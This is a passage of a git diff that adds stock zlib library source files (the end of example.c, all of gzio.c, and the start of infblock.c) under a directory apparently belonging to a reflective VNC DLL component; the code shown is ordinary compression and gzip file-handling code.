(zlibVersion()[0] != myVersion[0]) { + fprintf(stderr, "incompatible zlib version\n"); + exit(1); + + } else if (strcmp(zlibVersion(), ZLIB_VERSION) != 0) { + fprintf(stderr, "warning: different zlib version\n"); + } + + compr = (Byte*)calloc((uInt)comprLen, 1); + uncompr = (Byte*)calloc((uInt)uncomprLen, 1); + /* compr and uncompr are cleared to avoid reading uninitialized + * data and to ensure that uncompr compresses well. + */ + if (compr == Z_NULL || uncompr == Z_NULL) { + printf("out of memory\n"); + exit(1); + } + test_compress(compr, comprLen, uncompr, uncomprLen); + + test_gzio((argc > 1 ? argv[1] : TESTFILE), + (argc > 2 ? argv[2] : TESTFILE), + uncompr, (int)uncomprLen); + + test_deflate(compr, comprLen); + test_inflate(compr, comprLen, uncompr, uncomprLen); + + test_large_deflate(compr, comprLen, uncompr, uncomprLen); + test_large_inflate(compr, comprLen, uncompr, uncomprLen); + + test_flush(compr, &comprLen); + test_sync(compr, comprLen, uncompr, uncomprLen); + comprLen = uncomprLen; + + test_dict_deflate(compr, comprLen); + test_dict_inflate(compr, comprLen, uncompr, uncomprLen); + + exit(0); + return 0; /* to avoid warning */ +} diff --git a/external/source/reflective_vncdll/zlib/gzio.c b/external/source/reflective_vncdll/zlib/gzio.c new file mode 100644 index 0000000000..02eaa62eea --- /dev/null +++ b/external/source/reflective_vncdll/zlib/gzio.c @@ -0,0 +1,875 @@ +/* gzio.c -- IO on .gz files + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + * + * Compile this file with -DNO_DEFLATE to avoid the compression code. + */ + +/* @(#) $Id: gzio.c 3351 2006-01-08 23:25:19Z mmiller $ */ + +#include + +#include "zutil.h" + +struct internal_state {int dummy;}; /* for buggy compilers */ + +#ifndef Z_BUFSIZE +# ifdef MAXSEG_64K +# define Z_BUFSIZE 4096 /* minimize memory usage for 16-bit DOS */ +# else +# define Z_BUFSIZE 16384 +# endif +#endif +#ifndef Z_PRINTF_BUFSIZE +# define Z_PRINTF_BUFSIZE 4096 +#endif + +#define ALLOC(size) malloc(size) +#define TRYFREE(p) {if (p) free(p);} + +static int gz_magic[2] = {0x1f, 0x8b}; /* gzip magic header */ + +/* gzip flag byte */ +#define ASCII_FLAG 0x01 /* bit 0 set: file probably ascii text */ +#define HEAD_CRC 0x02 /* bit 1 set: header CRC present */ +#define EXTRA_FIELD 0x04 /* bit 2 set: extra field present */ +#define ORIG_NAME 0x08 /* bit 3 set: original file name present */ +#define COMMENT 0x10 /* bit 4 set: file comment present */ +#define RESERVED 0xE0 /* bits 5..7: reserved */ + +typedef struct gz_stream { + z_stream stream; + int z_err; /* error code for last stream operation */ + int z_eof; /* set if end of input file */ + FILE *file; /* .gz file */ + Byte *inbuf; /* input buffer */ + Byte *outbuf; /* output buffer */ + uLong crc; /* crc32 of uncompressed data */ + char *msg; /* error message */ + char *path; /* path name for debugging only */ + int transparent; /* 1 if input file is not a .gz file */ + char mode; /* 'w' or 'r' */ + long startpos; /* start of compressed data in file (header skipped) */ +} gz_stream; + + +local gzFile gz_open OF((const char *path, const char *mode, int fd)); +local int do_flush OF((gzFile file, int flush)); +local int get_byte OF((gz_stream *s)); +local void check_header OF((gz_stream *s)); +local int destroy OF((gz_stream *s)); +local void putLong OF((FILE *file, uLong x)); +local uLong getLong OF((gz_stream *s)); + +/* =========================================================================== + Opens a gzip (.gz) file for reading or writing. The mode parameter + is as in fopen ("rb" or "wb"). The file is given either by file descriptor + or path name (if fd == -1). + gz_open return NULL if the file could not be opened or if there was + insufficient memory to allocate the (de)compression state; errno + can be checked to distinguish the two cases (if errno is zero, the + zlib error is Z_MEM_ERROR). +*/ +local gzFile gz_open (path, mode, fd) + const char *path; + const char *mode; + int fd; +{ + int err; + int level = Z_DEFAULT_COMPRESSION; /* compression level */ + int strategy = Z_DEFAULT_STRATEGY; /* compression strategy */ + char *p = (char*)mode; + gz_stream *s; + char fmode[80]; /* copy of mode, without the compression level */ + char *m = fmode; + + if (!path || !mode) return Z_NULL; + + s = (gz_stream *)ALLOC(sizeof(gz_stream)); + if (!s) return Z_NULL; + + s->stream.zalloc = (alloc_func)0; + s->stream.zfree = (free_func)0; + s->stream.opaque = (voidpf)0; + s->stream.next_in = s->inbuf = Z_NULL; + s->stream.next_out = s->outbuf = Z_NULL; + s->stream.avail_in = s->stream.avail_out = 0; + s->file = NULL; + s->z_err = Z_OK; + s->z_eof = 0; + s->crc = crc32(0L, Z_NULL, 0); + s->msg = NULL; + s->transparent = 0; + + s->path = (char*)ALLOC(strlen(path)+1); + if (s->path == NULL) { + return destroy(s), (gzFile)Z_NULL; + } + strcpy(s->path, path); /* do this early for debugging */ + + s->mode = '\0'; + do { + if (*p == 'r') s->mode = 'r'; + if (*p == 'w' || *p == 'a') s->mode = 'w'; + if (*p >= '0' && *p <= '9') { + level = *p - '0'; + } else if (*p == 'f') { + strategy = Z_FILTERED; + } else if (*p == 'h') { + strategy = Z_HUFFMAN_ONLY; + } else { + *m++ = *p; /* copy the mode */ + } + } while (*p++ && m != fmode + sizeof(fmode)); + if (s->mode == '\0') return destroy(s), (gzFile)Z_NULL; + + if (s->mode == 'w') { +#ifdef NO_DEFLATE + err = Z_STREAM_ERROR; +#else + err = deflateInit2(&(s->stream), level, + Z_DEFLATED, -MAX_WBITS, DEF_MEM_LEVEL, strategy); + /* windowBits is passed < 0 to suppress zlib header */ + + s->stream.next_out = s->outbuf = (Byte*)ALLOC(Z_BUFSIZE); +#endif + if (err != Z_OK || s->outbuf == Z_NULL) { + return destroy(s), (gzFile)Z_NULL; + } + } else { + s->stream.next_in = s->inbuf = (Byte*)ALLOC(Z_BUFSIZE); + + err = inflateInit2(&(s->stream), -MAX_WBITS); + /* windowBits is passed < 0 to tell that there is no zlib header. + * Note that in this case inflate *requires* an extra "dummy" byte + * after the compressed stream in order to complete decompression and + * return Z_STREAM_END. Here the gzip CRC32 ensures that 4 bytes are + * present after the compressed stream. + */ + if (err != Z_OK || s->inbuf == Z_NULL) { + return destroy(s), (gzFile)Z_NULL; + } + } + s->stream.avail_out = Z_BUFSIZE; + + errno = 0; + s->file = fd < 0 ? F_OPEN(path, fmode) : (FILE*)fdopen(fd, fmode); + + if (s->file == NULL) { + return destroy(s), (gzFile)Z_NULL; + } + if (s->mode == 'w') { + /* Write a very simple .gz header: + */ + fprintf(s->file, "%c%c%c%c%c%c%c%c%c%c", gz_magic[0], gz_magic[1], + Z_DEFLATED, 0 /*flags*/, 0,0,0,0 /*time*/, 0 /*xflags*/, OS_CODE); + s->startpos = 10L; + /* We use 10L instead of ftell(s->file) to because ftell causes an + * fflush on some systems. This version of the library doesn't use + * startpos anyway in write mode, so this initialization is not + * necessary. + */ + } else { + check_header(s); /* skip the .gz header */ + s->startpos = (ftell(s->file) - s->stream.avail_in); + } + + return (gzFile)s; +} + +/* =========================================================================== + Opens a gzip (.gz) file for reading or writing. +*/ +gzFile ZEXPORT gzopen (path, mode) + const char *path; + const char *mode; +{ + return gz_open (path, mode, -1); +} + +/* =========================================================================== + Associate a gzFile with the file descriptor fd. fd is not dup'ed here + to mimic the behavio(u)r of fdopen. +*/ +gzFile ZEXPORT gzdopen (fd, mode) + int fd; + const char *mode; +{ + char name[20]; + + if (fd < 0) return (gzFile)Z_NULL; + sprintf(name, "", fd); /* for debugging */ + + return gz_open (name, mode, fd); +} + +/* =========================================================================== + * Update the compression level and strategy + */ +int ZEXPORT gzsetparams (file, level, strategy) + gzFile file; + int level; + int strategy; +{ + gz_stream *s = (gz_stream*)file; + + if (s == NULL || s->mode != 'w') return Z_STREAM_ERROR; + + /* Make room to allow flushing */ + if (s->stream.avail_out == 0) { + + s->stream.next_out = s->outbuf; + if (fwrite(s->outbuf, 1, Z_BUFSIZE, s->file) != Z_BUFSIZE) { + s->z_err = Z_ERRNO; + } + s->stream.avail_out = Z_BUFSIZE; + } + + return deflateParams (&(s->stream), level, strategy); +} + +/* =========================================================================== + Read a byte from a gz_stream; update next_in and avail_in. Return EOF + for end of file. + IN assertion: the stream s has been sucessfully opened for reading. +*/ +local int get_byte(s) + gz_stream *s; +{ + if (s->z_eof) return EOF; + if (s->stream.avail_in == 0) { + errno = 0; + s->stream.avail_in = fread(s->inbuf, 1, Z_BUFSIZE, s->file); + if (s->stream.avail_in == 0) { + s->z_eof = 1; + if (ferror(s->file)) s->z_err = Z_ERRNO; + return EOF; + } + s->stream.next_in = s->inbuf; + } + s->stream.avail_in--; + return *(s->stream.next_in)++; +} + +/* =========================================================================== + Check the gzip header of a gz_stream opened for reading. Set the stream + mode to transparent if the gzip magic header is not present; set s->err + to Z_DATA_ERROR if the magic header is present but the rest of the header + is incorrect. + IN assertion: the stream s has already been created sucessfully; + s->stream.avail_in is zero for the first time, but may be non-zero + for concatenated .gz files. +*/ +local void check_header(s) + gz_stream *s; +{ + int method; /* method byte */ + int flags; /* flags byte */ + uInt len; + int c; + + /* Check the gzip magic header */ + for (len = 0; len < 2; len++) { + c = get_byte(s); + if (c != gz_magic[len]) { + if (len != 0) s->stream.avail_in++, s->stream.next_in--; + if (c != EOF) { + s->stream.avail_in++, s->stream.next_in--; + s->transparent = 1; + } + s->z_err = s->stream.avail_in != 0 ? Z_OK : Z_STREAM_END; + return; + } + } + method = get_byte(s); + flags = get_byte(s); + if (method != Z_DEFLATED || (flags & RESERVED) != 0) { + s->z_err = Z_DATA_ERROR; + return; + } + + /* Discard time, xflags and OS code: */ + for (len = 0; len < 6; len++) (void)get_byte(s); + + if ((flags & EXTRA_FIELD) != 0) { /* skip the extra field */ + len = (uInt)get_byte(s); + len += ((uInt)get_byte(s))<<8; + /* len is garbage if EOF but the loop below will quit anyway */ + while (len-- != 0 && get_byte(s) != EOF) ; + } + if ((flags & ORIG_NAME) != 0) { /* skip the original file name */ + while ((c = get_byte(s)) != 0 && c != EOF) ; + } + if ((flags & COMMENT) != 0) { /* skip the .gz file comment */ + while ((c = get_byte(s)) != 0 && c != EOF) ; + } + if ((flags & HEAD_CRC) != 0) { /* skip the header crc */ + for (len = 0; len < 2; len++) (void)get_byte(s); + } + s->z_err = s->z_eof ? Z_DATA_ERROR : Z_OK; +} + + /* =========================================================================== + * Cleanup then free the given gz_stream. Return a zlib error code. + Try freeing in the reverse order of allocations. + */ +local int destroy (s) + gz_stream *s; +{ + int err = Z_OK; + + if (!s) return Z_STREAM_ERROR; + + TRYFREE(s->msg); + + if (s->stream.state != NULL) { + if (s->mode == 'w') { +#ifdef NO_DEFLATE + err = Z_STREAM_ERROR; +#else + err = deflateEnd(&(s->stream)); +#endif + } else if (s->mode == 'r') { + err = inflateEnd(&(s->stream)); + } + } + if (s->file != NULL && fclose(s->file)) { +#ifdef ESPIPE + if (errno != ESPIPE) /* fclose is broken for pipes in HP/UX */ +#endif + err = Z_ERRNO; + } + if (s->z_err < 0) err = s->z_err; + + TRYFREE(s->inbuf); + TRYFREE(s->outbuf); + TRYFREE(s->path); + TRYFREE(s); + return err; +} + +/* =========================================================================== + Reads the given number of uncompressed bytes from the compressed file. + gzread returns the number of bytes actually read (0 for end of file). +*/ +int ZEXPORT gzread (file, buf, len) + gzFile file; + voidp buf; + unsigned len; +{ + gz_stream *s = (gz_stream*)file; + Bytef *start = (Bytef*)buf; /* starting point for crc computation */ + Byte *next_out; /* == stream.next_out but not forced far (for MSDOS) */ + + if (s == NULL || s->mode != 'r') return Z_STREAM_ERROR; + + if (s->z_err == Z_DATA_ERROR || s->z_err == Z_ERRNO) return -1; + if (s->z_err == Z_STREAM_END) return 0; /* EOF */ + + next_out = (Byte*)buf; + s->stream.next_out = (Bytef*)buf; + s->stream.avail_out = len; + + while (s->stream.avail_out != 0) { + + if (s->transparent) { + /* Copy first the lookahead bytes: */ + uInt n = s->stream.avail_in; + if (n > s->stream.avail_out) n = s->stream.avail_out; + if (n > 0) { + zmemcpy(s->stream.next_out, s->stream.next_in, n); + next_out += n; + s->stream.next_out = next_out; + s->stream.next_in += n; + s->stream.avail_out -= n; + s->stream.avail_in -= n; + } + if (s->stream.avail_out > 0) { + s->stream.avail_out -= fread(next_out, 1, s->stream.avail_out, + s->file); + } + len -= s->stream.avail_out; + s->stream.total_in += (uLong)len; + s->stream.total_out += (uLong)len; + if (len == 0) s->z_eof = 1; + return (int)len; + } + if (s->stream.avail_in == 0 && !s->z_eof) { + + errno = 0; + s->stream.avail_in = fread(s->inbuf, 1, Z_BUFSIZE, s->file); + if (s->stream.avail_in == 0) { + s->z_eof = 1; + if (ferror(s->file)) { + s->z_err = Z_ERRNO; + break; + } + } + s->stream.next_in = s->inbuf; + } + s->z_err = inflate(&(s->stream), Z_NO_FLUSH); + + if (s->z_err == Z_STREAM_END) { + /* Check CRC and original size */ + s->crc = crc32(s->crc, start, (uInt)(s->stream.next_out - start)); + start = s->stream.next_out; + + if (getLong(s) != s->crc) { + s->z_err = Z_DATA_ERROR; + } else { + (void)getLong(s); + /* The uncompressed length returned by above getlong() may + * be different from s->stream.total_out) in case of + * concatenated .gz files. Check for such files: + */ + check_header(s); + if (s->z_err == Z_OK) { + uLong total_in = s->stream.total_in; + uLong total_out = s->stream.total_out; + + inflateReset(&(s->stream)); + s->stream.total_in = total_in; + s->stream.total_out = total_out; + s->crc = crc32(0L, Z_NULL, 0); + } + } + } + if (s->z_err != Z_OK || s->z_eof) break; + } + s->crc = crc32(s->crc, start, (uInt)(s->stream.next_out - start)); + + return (int)(len - s->stream.avail_out); +} + + +/* =========================================================================== + Reads one byte from the compressed file. gzgetc returns this byte + or -1 in case of end of file or error. +*/ +int ZEXPORT gzgetc(file) + gzFile file; +{ + unsigned char c; + + return gzread(file, &c, 1) == 1 ? c : -1; +} + + +/* =========================================================================== + Reads bytes from the compressed file until len-1 characters are + read, or a newline character is read and transferred to buf, or an + end-of-file condition is encountered. The string is then terminated + with a null character. + gzgets returns buf, or Z_NULL in case of error. + + The current implementation is not optimized at all. +*/ +char * ZEXPORT gzgets(file, buf, len) + gzFile file; + char *buf; + int len; +{ + char *b = buf; + if (buf == Z_NULL || len <= 0) return Z_NULL; + + while (--len > 0 && gzread(file, buf, 1) == 1 && *buf++ != '\n') ; + *buf = '\0'; + return b == buf && len > 0 ? Z_NULL : b; +} + + +#ifndef NO_DEFLATE +/* =========================================================================== + Writes the given number of uncompressed bytes into the compressed file. + gzwrite returns the number of bytes actually written (0 in case of error). +*/ +int ZEXPORT gzwrite (file, buf, len) + gzFile file; + const voidp buf; + unsigned len; +{ + gz_stream *s = (gz_stream*)file; + + if (s == NULL || s->mode != 'w') return Z_STREAM_ERROR; + + s->stream.next_in = (Bytef*)buf; + s->stream.avail_in = len; + + while (s->stream.avail_in != 0) { + + if (s->stream.avail_out == 0) { + + s->stream.next_out = s->outbuf; + if (fwrite(s->outbuf, 1, Z_BUFSIZE, s->file) != Z_BUFSIZE) { + s->z_err = Z_ERRNO; + break; + } + s->stream.avail_out = Z_BUFSIZE; + } + s->z_err = deflate(&(s->stream), Z_NO_FLUSH); + if (s->z_err != Z_OK) break; + } + s->crc = crc32(s->crc, (const Bytef *)buf, len); + + return (int)(len - s->stream.avail_in); +} + +/* =========================================================================== + Converts, formats, and writes the args to the compressed file under + control of the format string, as in fprintf. gzprintf returns the number of + uncompressed bytes actually written (0 in case of error). +*/ +#ifdef STDC +#include + +int ZEXPORTVA gzprintf (gzFile file, const char *format, /* args */ ...) +{ + char buf[Z_PRINTF_BUFSIZE]; + va_list va; + int len; + + va_start(va, format); +#ifdef HAS_vsnprintf + (void)vsnprintf(buf, sizeof(buf), format, va); +#else + (void)vsprintf(buf, format, va); +#endif + va_end(va); + len = strlen(buf); /* some *sprintf don't return the nb of bytes written */ + if (len <= 0) return 0; + + return gzwrite(file, buf, (unsigned)len); +} +#else /* not ANSI C */ + +int ZEXPORTVA gzprintf (file, format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, + a11, a12, a13, a14, a15, a16, a17, a18, a19, a20) + gzFile file; + const char *format; + int a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, + a11, a12, a13, a14, a15, a16, a17, a18, a19, a20; +{ + char buf[Z_PRINTF_BUFSIZE]; + int len; + +#ifdef HAS_snprintf + snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8, + a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20); +#else + sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8, + a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20); +#endif + len = strlen(buf); /* old sprintf doesn't return the nb of bytes written */ + if (len <= 0) return 0; + + return gzwrite(file, buf, len); +} +#endif + +/* =========================================================================== + Writes c, converted to an unsigned char, into the compressed file. + gzputc returns the value that was written, or -1 in case of error. +*/ +int ZEXPORT gzputc(file, c) + gzFile file; + int c; +{ + unsigned char cc = (unsigned char) c; /* required for big endian systems */ + + return gzwrite(file, &cc, 1) == 1 ? (int)cc : -1; +} + + +/* =========================================================================== + Writes the given null-terminated string to the compressed file, excluding + the terminating null character. + gzputs returns the number of characters written, or -1 in case of error. +*/ +int ZEXPORT gzputs(file, s) + gzFile file; + const char *s; +{ + return gzwrite(file, (char*)s, (unsigned)strlen(s)); +} + + +/* =========================================================================== + Flushes all pending output into the compressed file. The parameter + flush is as in the deflate() function. +*/ +local int do_flush (file, flush) + gzFile file; + int flush; +{ + uInt len; + int done = 0; + gz_stream *s = (gz_stream*)file; + + if (s == NULL || s->mode != 'w') return Z_STREAM_ERROR; + + s->stream.avail_in = 0; /* should be zero already anyway */ + + for (;;) { + len = Z_BUFSIZE - s->stream.avail_out; + + if (len != 0) { + if ((uInt)fwrite(s->outbuf, 1, len, s->file) != len) { + s->z_err = Z_ERRNO; + return Z_ERRNO; + } + s->stream.next_out = s->outbuf; + s->stream.avail_out = Z_BUFSIZE; + } + if (done) break; + s->z_err = deflate(&(s->stream), flush); + + /* Ignore the second of two consecutive flushes: */ + if (len == 0 && s->z_err == Z_BUF_ERROR) s->z_err = Z_OK; + + /* deflate has finished flushing only when it hasn't used up + * all the available space in the output buffer: + */ + done = (s->stream.avail_out != 0 || s->z_err == Z_STREAM_END); + + if (s->z_err != Z_OK && s->z_err != Z_STREAM_END) break; + } + return s->z_err == Z_STREAM_END ? Z_OK : s->z_err; +} + +int ZEXPORT gzflush (file, flush) + gzFile file; + int flush; +{ + gz_stream *s = (gz_stream*)file; + int err = do_flush (file, flush); + + if (err) return err; + fflush(s->file); + return s->z_err == Z_STREAM_END ? Z_OK : s->z_err; +} +#endif /* NO_DEFLATE */ + +/* =========================================================================== + Sets the starting position for the next gzread or gzwrite on the given + compressed file. The offset represents a number of bytes in the + gzseek returns the resulting offset location as measured in bytes from + the beginning of the uncompressed stream, or -1 in case of error. + SEEK_END is not implemented, returns error. + In this version of the library, gzseek can be extremely slow. +*/ +z_off_t ZEXPORT gzseek (file, offset, whence) + gzFile file; + z_off_t offset; + int whence; +{ + gz_stream *s = (gz_stream*)file; + + if (s == NULL || whence == SEEK_END || + s->z_err == Z_ERRNO || s->z_err == Z_DATA_ERROR) { + return -1L; + } + + if (s->mode == 'w') { +#ifdef NO_DEFLATE + return -1L; +#else + if (whence == SEEK_SET) { + offset -= s->stream.total_in; + } + if (offset < 0) return -1L; + + /* At this point, offset is the number of zero bytes to write. */ + if (s->inbuf == Z_NULL) { + s->inbuf = (Byte*)ALLOC(Z_BUFSIZE); /* for seeking */ + zmemzero(s->inbuf, Z_BUFSIZE); + } + while (offset > 0) { + uInt size = Z_BUFSIZE; + if (offset < Z_BUFSIZE) size = (uInt)offset; + + size = gzwrite(file, s->inbuf, size); + if (size == 0) return -1L; + + offset -= size; + } + return (z_off_t)s->stream.total_in; +#endif + } + /* Rest of function is for reading only */ + + /* compute absolute position */ + if (whence == SEEK_CUR) { + offset += s->stream.total_out; + } + if (offset < 0) return -1L; + + if (s->transparent) { + /* map to fseek */ + s->stream.avail_in = 0; + s->stream.next_in = s->inbuf; + if (fseek(s->file, offset, SEEK_SET) < 0) return -1L; + + s->stream.total_in = s->stream.total_out = (uLong)offset; + return offset; + } + + /* For a negative seek, rewind and use positive seek */ + if ((uLong)offset >= s->stream.total_out) { + offset -= s->stream.total_out; + } else if (gzrewind(file) < 0) { + return -1L; + } + /* offset is now the number of bytes to skip. */ + + if (offset != 0 && s->outbuf == Z_NULL) { + s->outbuf = (Byte*)ALLOC(Z_BUFSIZE); + } + while (offset > 0) { + int size = Z_BUFSIZE; + if (offset < Z_BUFSIZE) size = (int)offset; + + size = gzread(file, s->outbuf, (uInt)size); + if (size <= 0) return -1L; + offset -= size; + } + return (z_off_t)s->stream.total_out; +} + +/* =========================================================================== + Rewinds input file. +*/ +int ZEXPORT gzrewind (file) + gzFile file; +{ + gz_stream *s = (gz_stream*)file; + + if (s == NULL || s->mode != 'r') return -1; + + s->z_err = Z_OK; + s->z_eof = 0; + s->stream.avail_in = 0; + s->stream.next_in = s->inbuf; + s->crc = crc32(0L, Z_NULL, 0); + + if (s->startpos == 0) { /* not a compressed file */ + rewind(s->file); + return 0; + } + + (void) inflateReset(&s->stream); + return fseek(s->file, s->startpos, SEEK_SET); +} + +/* =========================================================================== + Returns the starting position for the next gzread or gzwrite on the + given compressed file. This position represents a number of bytes in the + uncompressed data stream. +*/ +z_off_t ZEXPORT gztell (file) + gzFile file; +{ + return gzseek(file, 0L, SEEK_CUR); +} + +/* =========================================================================== + Returns 1 when EOF has previously been detected reading the given + input stream, otherwise zero. +*/ +int ZEXPORT gzeof (file) + gzFile file; +{ + gz_stream *s = (gz_stream*)file; + + return (s == NULL || s->mode != 'r') ? 0 : s->z_eof; +} + +/* =========================================================================== + Outputs a long in LSB order to the given file +*/ +local void putLong (file, x) + FILE *file; + uLong x; +{ + int n; + for (n = 0; n < 4; n++) { + fputc((int)(x & 0xff), file); + x >>= 8; + } +} + +/* =========================================================================== + Reads a long in LSB order from the given gz_stream. Sets z_err in case + of error. +*/ +local uLong getLong (s) + gz_stream *s; +{ + uLong x = (uLong)get_byte(s); + int c; + + x += ((uLong)get_byte(s))<<8; + x += ((uLong)get_byte(s))<<16; + c = get_byte(s); + if (c == EOF) s->z_err = Z_DATA_ERROR; + x += ((uLong)c)<<24; + return x; +} + +/* =========================================================================== + Flushes all pending output if necessary, closes the compressed file + and deallocates all the (de)compression state. +*/ +int ZEXPORT gzclose (file) + gzFile file; +{ + int err; + gz_stream *s = (gz_stream*)file; + + if (s == NULL) return Z_STREAM_ERROR; + + if (s->mode == 'w') { +#ifdef NO_DEFLATE + return Z_STREAM_ERROR; +#else + err = do_flush (file, Z_FINISH); + if (err != Z_OK) return destroy((gz_stream*)file); + + putLong (s->file, s->crc); + putLong (s->file, s->stream.total_in); +#endif + } + return destroy((gz_stream*)file); +} + +/* =========================================================================== + Returns the error message for the last error which occured on the + given compressed file. errnum is set to zlib error number. If an + error occured in the file system and not in the compression library, + errnum is set to Z_ERRNO and the application may consult errno + to get the exact error code. +*/ +const char* ZEXPORT gzerror (file, errnum) + gzFile file; + int *errnum; +{ + char *m; + gz_stream *s = (gz_stream*)file; + + if (s == NULL) { + *errnum = Z_STREAM_ERROR; + return (const char*)ERR_MSG(Z_STREAM_ERROR); + } + *errnum = s->z_err; + if (*errnum == Z_OK) return (const char*)""; + + m = (char*)(*errnum == Z_ERRNO ? zstrerror(errno) : s->stream.msg); + + if (m == NULL || *m == '\0') m = (char*)ERR_MSG(s->z_err); + + TRYFREE(s->msg); + s->msg = (char*)ALLOC(strlen(s->path) + strlen(m) + 3); + strcpy(s->msg, s->path); + strcat(s->msg, ": "); + strcat(s->msg, m); + return (const char*)s->msg; +} diff --git a/external/source/reflective_vncdll/zlib/infblock.c b/external/source/reflective_vncdll/zlib/infblock.c new file mode 100644 index 0000000000..943e8493cf --- /dev/null +++ b/external/source/reflective_vncdll/zlib/infblock.c @@ -0,0 +1,403 @@ +/* infblock.c -- interpret and process block types to last block + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +#include "zutil.h" +#include "infblock.h" +#include "inftrees.h" +#include "infcodes.h" +#include "infutil.h" + +struct inflate_codes_state {int dummy;}; /* for buggy compilers */ + +/* simplify the use of the inflate_huft type with some defines */ +#define exop word.what.Exop +#define bits word.what.Bits + +/* Table for deflate from PKZIP's appnote.txt. */ +local const uInt border[] = { /* Order of the bit length code lengths */ + 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; + +/* + Notes beyond the 1.93a appnote.txt: + + 1. Distance pointers never point before the beginning of the output + stream. + 2. Distance pointers can point back across blocks, up to 32k away. + 3. There is an implied maximum of 7 bits for the bit length table and + 15 bits for the actual data. + 4. If only one code exists, then it is encoded using one bit. (Zero + would be more efficient, but perhaps a little confusing.) If two + codes exist, they are coded using one bit each (0 and 1). + 5. There is no way of sending zero distance codes--a dummy must be + sent if there are none. (History: a pre 2.0 version of PKZIP would + store blocks with no distance codes, but this was discovered to be + too harsh a criterion.) Valid only for 1.93a. 2.04c does allow + zero distance codes, which is sent as one code of zero bits in + length. + 6. There are up to 286 literal/length codes. Code 256 represents the + end-of-block. Note however that the static length tree defines + 288 codes just to fill out the Huffman codes. Codes 286 and 287 + cannot be used though, since there is no length base or extra bits + defined for them. Similarily, there are up to 30 distance codes. + However, static trees define 32 codes (all 5 bits) to fill out the + Huffman codes, but the last two had better not show up in the data. + 7. Unzip can check dynamic Huffman blocks for complete code sets. + The exception is that a single code would not be complete (see #4). + 8. The five bits following the block type is really the number of + literal codes sent minus 257. + 9. Length codes 8,16,16 are interpreted as 13 length codes of 8 bits + (1+6+6). Therefore, to output three times the length, you output + three codes (1+1+1), whereas to output four times the same length, + you only need two codes (1+3). Hmm. + 10. In the tree reconstruction algorithm, Code = Code + Increment + only if BitLength(i) is not zero. (Pretty obvious.) + 11. Correction: 4 Bits: # of Bit Length codes - 4 (4 - 19) + 12. Note: length code 284 can represent 227-258, but length code 285 + really is 258. The last length deserves its own, short code + since it gets used a lot in very redundant files. The length + 258 is special since 258 - 3 (the min match length) is 255. + 13. The literal/length and distance code bit lengths are read as a + single stream of lengths. It is possible (and advantageous) for + a repeat code (16, 17, or 18) to go across the boundary between + the two sets of lengths. + */ + + +void inflate_blocks_reset(s, z, c) +inflate_blocks_statef *s; +z_streamp z; +uLongf *c; +{ + if (c != Z_NULL) + *c = s->check; + if (s->mode == BTREE || s->mode == DTREE) + ZFREE(z, s->sub.trees.blens); + if (s->mode == CODES) + inflate_codes_free(s->sub.decode.codes, z); + s->mode = TYPE; + s->bitk = 0; + s->bitb = 0; + s->read = s->write = s->window; + if (s->checkfn != Z_NULL) + z->adler = s->check = (*s->checkfn)(0L, (const Bytef *)Z_NULL, 0); + Tracev((stderr, "inflate: blocks reset\n")); +} + + +inflate_blocks_statef *inflate_blocks_new(z, c, w) +z_streamp z; +check_func c; +uInt w; +{ + inflate_blocks_statef *s; + + if ((s = (inflate_blocks_statef *)ZALLOC + (z,1,sizeof(struct inflate_blocks_state))) == Z_NULL) + return s; + if ((s->hufts = + (inflate_huft *)ZALLOC(z, sizeof(inflate_huft), MANY)) == Z_NULL) + { + ZFREE(z, s); + return Z_NULL; + } + if ((s->window = (Bytef *)ZALLOC(z, 1, w)) == Z_NULL) + { + ZFREE(z, s->hufts); + ZFREE(z, s); + return Z_NULL; + } + s->end = s->window + w; + s->checkfn = c; + s->mode = TYPE; + Tracev((stderr, "inflate: blocks allocated\n")); + inflate_blocks_reset(s, z, Z_NULL); + return s; +} + + +int inflate_blocks(s, z, r) +inflate_blocks_statef *s; +z_streamp z; +int r; +{ + uInt t; /* temporary storage */ + uLong b; /* bit buffer */ + uInt k; /* bits in bit buffer */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + + /* copy input/output information to locals (UPDATE macro restores) */ + LOAD + + /* process input based on current state */ + while (1) switch (s->mode) + { + case TYPE: + NEEDBITS(3) + t = (uInt)b & 7; + s->last = t & 1; + switch (t >> 1) + { + case 0: /* stored */ + Tracev((stderr, "inflate: stored block%s\n", + s->last ? " (last)" : "")); + DUMPBITS(3) + t = k & 7; /* go to byte boundary */ + DUMPBITS(t) + s->mode = LENS; /* get length of stored block */ + break; + case 1: /* fixed */ + Tracev((stderr, "inflate: fixed codes block%s\n", + s->last ? " (last)" : "")); + { + uInt bl, bd; + inflate_huft *tl, *td; + + inflate_trees_fixed(&bl, &bd, &tl, &td, z); + s->sub.decode.codes = inflate_codes_new(bl, bd, tl, td, z); + if (s->sub.decode.codes == Z_NULL) + { + r = Z_MEM_ERROR; + LEAVE + } + } + DUMPBITS(3) + s->mode = CODES; + break; + case 2: /* dynamic */ + Tracev((stderr, "inflate: dynamic codes block%s\n", + s->last ? " (last)" : "")); + DUMPBITS(3) + s->mode = TABLE; + break; + case 3: /* illegal */ + DUMPBITS(3) + s->mode = BAD; + z->msg = (char*)"invalid block type"; + r = Z_DATA_ERROR; + LEAVE + } + break; + case LENS: + NEEDBITS(32) + if ((((~b) >> 16) & 0xffff) != (b & 0xffff)) + { + s->mode = BAD; + z->msg = (char*)"invalid stored block lengths"; + r = Z_DATA_ERROR; + LEAVE + } + s->sub.left = (uInt)b & 0xffff; + b = k = 0; /* dump bits */ + Tracev((stderr, "inflate: stored length %u\n", s->sub.left)); + s->mode = s->sub.left ? STORED : (s->last ? DRY : TYPE); + break; + case STORED: + if (n == 0) + LEAVE + NEEDOUT + t = s->sub.left; + if (t > n) t = n; + if (t > m) t = m; + zmemcpy(q, p, t); + p += t; n -= t; + q += t; m -= t; + if ((s->sub.left -= t) != 0) + break; + Tracev((stderr, 